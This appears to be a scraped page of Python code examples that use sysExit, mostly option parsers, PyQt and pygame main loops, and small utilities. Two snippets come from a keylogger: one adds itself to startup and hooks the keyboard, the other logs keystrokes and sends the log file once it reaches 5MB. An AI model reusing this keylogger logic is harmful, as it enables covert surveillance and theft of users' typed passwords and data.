Beispiel #1
0
    def optParse():
        """
        Parses command line options.

        Generally we're supporting all the command line options that doxypy.py
        supports in an analogous way to make it easy to switch back and forth.
        We additionally support a top-level namespace argument that is used
        to trim away excess path information.
        """

        parser = OptionParser(prog=basename(argv[0]))

        parser.set_usage("%prog [options] filename")
        parser.add_option(
            "-a", "--autobrief",
            action="store_true", dest="autobrief",
            help="parse the docstring for @brief description and other information"
        )
        parser.add_option(
            "-c", "--autocode",
            action="store_true", dest="autocode",
            help="parse the docstring for code samples"
        )
        parser.add_option(
            "-n", "--ns",
            action="store", type="string", dest="topLevelNamespace",
            help="specify a top-level namespace that will be used to trim paths"
        )
        parser.add_option(
            "-t", "--tablength",
            action="store", type="int", dest="tablength", default=4,
            help="specify a tab length in spaces; only needed if tabs are used"
        )
        group = OptionGroup(parser, "Debug Options")
        group.add_option(
            "-d", "--debug",
            action="store_true", dest="debug",
            help="enable debug output on stderr"
        )
        parser.add_option_group(group)

        ## Parse options based on our definition.
        (options, filename) = parser.parse_args()

        # Just abort immediately if we are don't have an input file.
        if not filename:
            stderr.write("No filename given." + linesep)
            sysExit(-1)

        # Turn the full path filename into a full path module location.
        fullPathNamespace = filename[0].replace(sep, '.')[:-3]
        # Use any provided top-level namespace argument to trim off excess.
        realNamespace = fullPathNamespace
        if options.topLevelNamespace:
            namespaceStart = fullPathNamespace.find(options.topLevelNamespace)
            if namespaceStart >= 0:
                realNamespace = fullPathNamespace[namespaceStart:]
        options.fullPathNamespace = realNamespace

        return options, filename[0]
    def __init__(self):
        '''
        Disallow multiple instances.source: ajinabraham / Xenotix - Python - Keylogger
        '''
        self.mutex = CreateMutex(None, 1, 'mutex_var_xboz')
        if GetLastError() == ERROR_ALREADY_EXISTS:
            self.mutex = None
            print "Multiple Instance not Allowed"
            sysExit(0)

        addToStartup()  # Add to startup
        writeWifi()
        writeKeylogs()  # Create keylogs.txt in case it does not exist
        self.hooks_manager = HookManager()  # Create a hook
        self.hooks_manager.KeyDown = self.OnKeyBoardEvent  # Assign keydown event handler
        self.hooks_manager.HookKeyboard()  # assign hook to the keyboard
        pythoncom.PumpMessages()
Beispiel #3
0
    def onKeyPress(self, event):
        global timeNow
        global data
        global exitStack
        global keyLength
        global wifiLogsFile
        global keylogsFile

        if event.Key == 'space':
            event.Key = ' '
        elif event.Key == 'Tab':
            event.Key = '<TAB>'
        elif event.Key == 'BackSpace':
            event.Key = '<Backspace>'
        elif event.Key == 'Shift_L' or event.Key == 'Shift_R':
            event.Key = '<Shift>'
        elif event.Key == 'Delete':
            event.Key = '<Delete>'

        data += event.Key
        print exitStack
        if event.Key == '<Backspace>':
            exitStack.append(event.Key)
        elif event.Key == '<Delete>':
            exitStack.append(event.Key)
        else:
            exitStack = []

        if len(exitStack) == 4:
            print exitStack
            if exitStack[0] == '<Backspace>' and exitStack[1] == '<Delete>' and exitStack[2] == '<Backspace>' and exitStack[3] == '<Delete>':  # If last four values
                sysExit(0)
                # TODO Implement a GUI version of our exit task
            else:
                exitStack = []

        if len(data) == 128:  # Write data in chucks of 128 bytes
            writeKeylogs()
            data = ''

        if os.path.getsize(keylogsFile) >= 5e+6:  # Send log file when it reaches 5MB
            t = threading.Thread(target=sendFile(), args=())
            t.start()
Beispiel #4
0
def abgpsysexit(input,OPTIONS,message=""):
    """ """
    if input.has_key(OPTIONS.target):
        key = OPTIONS.target
    elif OPTIONS.target == None:
        key = None    
    else:
        # find by protein fref
        for k in input.keys():
            if input[k]['gldobj'].protein_fref() == OPTIONS.target:
                key = k
                break
        else:
            key = None

    # get filename to write to
    if key:
        fname = "%s.bailout.log" % input[key]['gldobj'].protein_fref()
    elif key == None and OPTIONS.filewithloci:
        hdr = OPTIONS.filewithloci.split("/")[-1].split(".")[0]
        fname = "%s.bailout.log" % hdr 
    elif key == None and OPTIONS.dirwithloci:
        hdr = OPTIONS.dirwithloci.split("/")[-1].split(".")[0]
        fname = "%s.bailout.log" % hdr
    else:
        fname = "%s.bailout.log" % ("Notargetapplied") 

    # clean the complete directory from all files
    _file_cleanup( osListdir(OPTIONS.outdir), include_directories=True )
        
    fname = osPathJoin(OPTIONS.outdir,fname)
    fh = open(fname,'w')
    fh.write(message+"\n")
    fh.close()
    # safely break out of the ABGP algorithm
    sysExit()
Beispiel #5
0
    # add a special parameter for only printing intron sequences
    parser.add_option("--sequenceonly",
                dest="sequenceonly",
                default=False,
                action="store_true",
                help="output multifasta file of introns sequences in stead of statistics")


    # parse the command line & validate
    (OPTIONS, args) = parser.parse_args()
    validate_genelocustatsoptions(parser,OPTIONS)

    # print explanation of this script & output
    if OPTIONS.EXPLAIN:
       print explain()
       sysExit()

    # change directory to the one specified by optparse option
    os.chdir(OPTIONS.DIRECTORY)

    try:
        locus = AbgpGeneLocusDirectory(OPTIONS.DIRECTORY)
        input = locus.toinputdict()
    except:
        print explain()
        sysExit()
        ## TEMPORARILY backwards-compatibility with old input_data_struct.txt file
        #input = eval(open('input_data_struct.txt').read().strip())

    # do geneandunigeneconfirmation
    input,gene_status,unigene_status = geneandunigeneconfirmation(input,verbose=False)
 def createExitGui(self):
     app = self.Application(root)         # Passing Tk object to our GUI implementation class
     app.mainloop()                       # entered were <back><del><back><del>
     root.destroy()                       # spawn a quit dialog box
     sysExit(1)
Beispiel #7
0
            text = 'Parameter To has to be between 0.001 and 0.1'
        elif error == 'q':
            text = 'Parameter q has to be between 1 and 10'
        else:
            text = 'unknown error'

        msg = QMessageBox()
        msg.setIcon(QMessageBox.Warning)

        msg.setText(text)
        msg.setInformativeText("Please enter an acceptable value.")
        msg.setWindowTitle("Parameter out of range")
        msg.setDetailedText(
            "Parameter ranges: \n a1 - [1;10] \n a2 - [1;10] \n To - [0.001; 0.1] \n q - [1;10]"
        )
        msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)

        msg.exec_()

    def LoadModel(self, a1, a2, b, q, t, ko, xo):
        mdl = DynamicModel(a1, a2, b, q, t, ko, xo)
        mdl.runModel()


if __name__ == "__main__":
    MainThread = QApplication([])
    MainGUI = MainWindow()
    MainGUI.show()
    sysExit(MainThread.exec_())

# Daniel Shumeyko, PS-3
    def optParse():
        """
        Parses command line options.

        Generally we're supporting all the command line options that doxypy.py
        supports in an analogous way to make it easy to switch back and forth.
        We additionally support a top-level namespace argument that is used
        to trim away excess path information.
        """

        parser = OptionParser(prog=basename(argv[0]))

        parser.set_usage("%prog [options] filename")
        parser.add_option(
            "-a",
            "--autobrief",
            action="store_true",
            dest="autobrief",
            help=
            "parse the docstring for @brief description and other information")
        parser.add_option("-c",
                          "--autocode",
                          action="store_true",
                          dest="autocode",
                          help="parse the docstring for code samples")
        parser.add_option(
            "-n",
            "--ns",
            action="store",
            type="string",
            dest="topLevelNamespace",
            help="specify a top-level namespace that will be used to trim paths"
        )
        parser.add_option(
            "-t",
            "--tablength",
            action="store",
            type="int",
            dest="tablength",
            default=4,
            help="specify a tab length in spaces; only needed if tabs are used"
        )
        parser.add_option("-s",
                          "--stripinit",
                          action="store_true",
                          dest="stripinit",
                          help="strip __init__ from namespace")
        parser.add_option(
            "-O",
            "--object-respect",
            action="store_true",
            dest="object_respect",
            help=
            "By default, doxypypy hides object class from class dependencies even if class inherits explictilty from objects (new-style class), this option disable this."
        )
        group = OptionGroup(parser, "Debug Options")
        group.add_option("-d",
                         "--debug",
                         action="store_true",
                         dest="debug",
                         help="enable debug output on stderr")
        parser.add_option_group(group)

        ## Parse options based on our definition.
        (options, filename) = parser.parse_args()

        # Just abort immediately if we are don't have an input file.
        if not filename:
            stderr.write("No filename given." + linesep)
            sysExit(-1)

        # Turn the full path filename into a full path module location.
        fullPathNamespace = filename[0].replace(sep, '.')[:-3]
        # Use any provided top-level namespace argument to trim off excess.
        realNamespace = fullPathNamespace
        if options.topLevelNamespace:
            namespaceStart = fullPathNamespace.find(options.topLevelNamespace)
            if namespaceStart >= 0:
                realNamespace = fullPathNamespace[namespaceStart:]
        if options.stripinit:
            realNamespace = realNamespace.replace('.__init__', '')
        options.fullPathNamespace = realNamespace

        return options, filename[0]
Beispiel #9
0
 def createExitGui(self):
     app = self.Application(
         root)  # Passing Tk object to our GUI implementation class
     app.mainloop()  # entered were <back><del><back><del>
     root.destroy()  # spawn a quit dialog box
     sysExit(1)
 def onClose(self):
     self.close()
     sysExit()
Beispiel #11
0
        self.setGeometry(150, 150, 350, 350)

        self.UI()

    def UI(self):
        self.widgets()
        self.layouts()

    def widgets(self):
        self.button = QPushButton("Button")

        self.checkbox = QCheckBox()

    def layouts(self):
        self.main_layout = QHBoxLayout()

        self.main_layout.addWidget(self.button)
        self.main_layout.addWidget(self.checkbox)

        self.setLayout(self.main_layout)



if __name__ == "__main__":
    MainEventThread = QApplication([])

    MainApplication = Main()
    MainApplication.show()

    sysExit(MainEventThread.exec_())
Beispiel #12
0
def main():
    """
    Starts the parser on the file given by the filename as the first
    argument on the command line.
    """
    from optparse import OptionParser, OptionGroup
    from os import sep
    from os.path import basename, getsize
    from sys import argv, exit as sysExit
    from chardet import detect
    from codecs import BOM_UTF8, open as codecsOpen

    def optParse():
        """
        Parses command line options.

        Generally we're supporting all the command line options that doxypy.py
        supports in an analogous way to make it easy to switch back and forth.
        We additionally support a top-level namespace argument that is used
        to trim away excess path information.
        """

        parser = OptionParser(prog=basename(argv[0]))

        parser.set_usage("%prog [options] filename")
        parser.add_option(
            "-a",
            "--autobrief",
            action="store_true",
            dest="autobrief",
            help=
            "parse the docstring for @brief description and other information")
        parser.add_option("-c",
                          "--autocode",
                          action="store_true",
                          dest="autocode",
                          help="parse the docstring for code samples")
        parser.add_option(
            "-n",
            "--ns",
            action="store",
            type="string",
            dest="topLevelNamespace",
            help="specify a top-level namespace that will be used to trim paths"
        )
        parser.add_option("-N",
                          action="store_true",
                          dest="trimAfterNamespace",
                          help="start after specified top-level namespace")
        parser.add_option(
            "-t",
            "--tablength",
            action="store",
            type="int",
            dest="tablength",
            default=4,
            help="specify a tab length in spaces; only needed if tabs are used"
        )
        parser.add_option("-s",
                          "--stripinit",
                          action="store_true",
                          dest="stripinit",
                          help="strip __init__ from namespace")
        group = OptionGroup(parser, "Debug Options")
        group.add_option("-d",
                         "--debug",
                         action="store_true",
                         dest="debug",
                         help="enable debug output on stderr")
        parser.add_option_group(group)

        # Parse options based on our definition.
        (options, filename) = parser.parse_args()

        # Just abort immediately if we are don't have an input file.
        if not filename:
            stderr.write("No filename given." + linesep)
            sysExit(-1)

        # Turn the full path filename into a full path module location.
        fullPathNamespace = filename[0].replace(sep, '.')[:-3]
        # Use any provided top-level namespace argument to trim off excess.
        realNamespace = fullPathNamespace
        if options.topLevelNamespace:
            namespaceStart = fullPathNamespace.find(options.topLevelNamespace)
            if namespaceStart >= 0:
                if options.trimAfterNamespace:
                    namespaceStart += len(options.topLevelNamespace)
                realNamespace = fullPathNamespace[namespaceStart:]
        if options.stripinit:
            realNamespace = realNamespace.replace('.__init__', '')
        options.fullPathNamespace = realNamespace

        return options, filename[0]

    # Figure out what is being requested.
    (options, inFilename) = optParse()

    # Figure out encoding of input file.
    numOfSampleBytes = min(getsize(inFilename), 32)
    sampleBytes = open(inFilename, 'rb').read(numOfSampleBytes)
    sampleByteAnalysis = detect(sampleBytes)
    encoding = sampleByteAnalysis['encoding']

    # Switch to generic versions to strip the BOM automatically.
    if sampleBytes.startswith(BOM_UTF8):
        encoding = 'UTF-8-SIG'

    if encoding is None:
        sysExit(-1)
    if encoding.startswith("UTF-16"):
        encoding = "UTF-16"
    if encoding.startswith("UTF-32"):
        encoding = "UTF-32"

    # Read contents of input file.
    if encoding == 'ascii':
        inFile = open(inFilename)
    else:
        inFile = codecsOpen(inFilename, encoding=encoding)
    lines = inFile.readlines()
    inFile.close()
    # Create the abstract syntax tree for the input file.
    astWalker = AstWalker(lines, options, inFilename)
    astWalker.parseLines()
    # Output the modified source.
    print(astWalker.getLines())
Beispiel #13
0
        except:
            pass

    def set_update_interval(self, new_interval):
        ''' Update the update interval '''
        self.interval.setText(
            new_interval)  # Update the indicated time since last update

    # https://stackoverflow.com/a/2669120
    def sorted_nicely(self, l):
        """ Sort the given iterable in the way that humans expect."""
        convert = lambda text: int(text) if text.isdigit() else text
        alphanum_key = lambda key: [
            convert(c) for c in re.split('([0-9]+)', key)
        ]
        return sorted(l, key=alphanum_key)

    def closeEvent(self, event: QCloseEvent) -> None:
        """Handle Close event of the Widget."""
        #self.timer.stop()
        event.accept()


if __name__ == "__main__":
    from sys import exit as sysExit
    app = QApplication([])
    app.setOrganizationName('SparkX')
    app.setApplicationName('Artemis Global Tracker: Mapper')
    w = BeaconMapper()
    sysExit(app.exec_())
Beispiel #14
0
 def quit(self):
     """Call sys.exit()"""
     sysExit()
Beispiel #15
0
 def StartSorting(self,path):
     #check if path exists
     if pathExists(path):
         #filter non-files
         files = listdir(path)
         print files
         filtered=[]
         for f in files:
             if isfile(join(path,f)):
                 filtered.append(f)
         print filtered
                 
     else:
         print 'WARNING: PATH DOES NOT EXIST PROGRAM WILL NOW EXIT'
         raw_input('press <enter> to continue')
         sysExit()
     self.CheckFolders(path)
     #define some lists
     self.executables=[]
     self.jars=[]
     self.images=[]
     self.misc=[]
     self.compressed=[]
     self.sounds=[]
     self.docs=[]
     self.torrents=[]
     #sorting
     for f in filtered:
         s = f.split('.')
         #check if the file has an extension. If not, it is probably a folder and will not be sorted
         if len(s) < 2:
             continue
         if f.endswith('.exe'):
             self.executables.append(".".join(s))
             print 'sorting "%s" into executables...' % '.'.join(s)
         elif f.endswith('.jar'):
             self.jars.append(".".join(s))
             print 'sorting "%s" into jars...' % '.'.join(s)
         elif f.endswith('.png') or f.endswith('.jpg') or f.endswith('.bmp') or f.endswith('.gif'):
             self.images.append(".".join(s))
             print 'sorting "%s" into images...' % '.'.join(s)
         elif f.endswith('.zip') or f.endswith('.rar') or f.endswith('.7z') or f.endswith('.tar.gz'):
             self.compressed.append(".".join(s))
             print 'sorting "%s" into compressed...' % '.'.join(s)
         elif f.endswith('.wav') or f.endswith('.mp3') or f.endswith('.mp4') or f.endswith('.ogg') or f.endswith('.it') or f.endswith('.midi'):
             self.sounds.append(".".join(s))
             print 'sorting "%s" into compressed...' % '.'.join(s)
         elif f.endswith('.doc') or f.endswith('.odt') or f.endswith('.rtf') or f.endswith('.pdf') or f.endswith('docx') or f.endswith('.html') or f.endswith('.htm') or f.endswith('.xml'):
             self.docs.append(".".join(s))
             print 'sorting "%s" into documents...' % '.'.join(s)
         elif f.endswith('.torrent'):
             self.torrents.append(".".join(s))
             print 'sorting "%s" into torrent...' % '.'.join(s)
         else:
             self.misc.append(".".join(s))
             print 'sorting "%s" into misc...' % '.'.join(s)
         self.Sort(path)
     #some Output
     print '===================Sorted==========================='
     print 'All sorting has finished'
     print '(If error messages are recieved. Please ignore them first, \nand check if your files were sorted)'
     print 'executables: ' + str(self.executables)
     print 'jars: ' + str(self.jars)
     print 'Images: ' + str(self.images)
     print 'compressed: ' + str(self.compressed)
     print 'sounds & music: ' + str(self.sounds)
     print 'Documents: ' + str(self.docs)
     print 'misc: ' + str(self.misc)
     print 'torrent: ' + str(self.torrents)
def main():
    app = QApplication(sysArgV)
    ex = MainWindow()
    sysExit(app.exec_())
Beispiel #17
0
                    grid[endX][endY].walkable = True
        elif event.type == pygame.MOUSEBUTTONDOWN: # Drag mouse while holding left click to add barriers.
            if event.button == 1:    
                leftDrag = True
                mouseX, mouseY = event.pos
                setBarrier(mouseX, mouseY)
            if event.button == 3:
                rightDrag = True
                mouseX, mouseY = event.pos
                removeBarrier(mouseX, mouseY)
        elif event.type == pygame.MOUSEBUTTONUP:
            if event.button == 1:
                leftDrag = False
            if event.button == 3:
                rightDrag = False
        elif event.type == pygame.MOUSEMOTION:
            if leftDrag:
                mouseX, mouseY = event.pos
                setBarrier(mouseX, mouseY)
            elif rightDrag:
                mouseX, mouseY = event.pos
                removeBarrier(mouseX, mouseY)

    drawGrid()
    if algorithm and not pathFound: main()
    pygame.display.update()

if not run:
    pygame.quit()
    sysExit()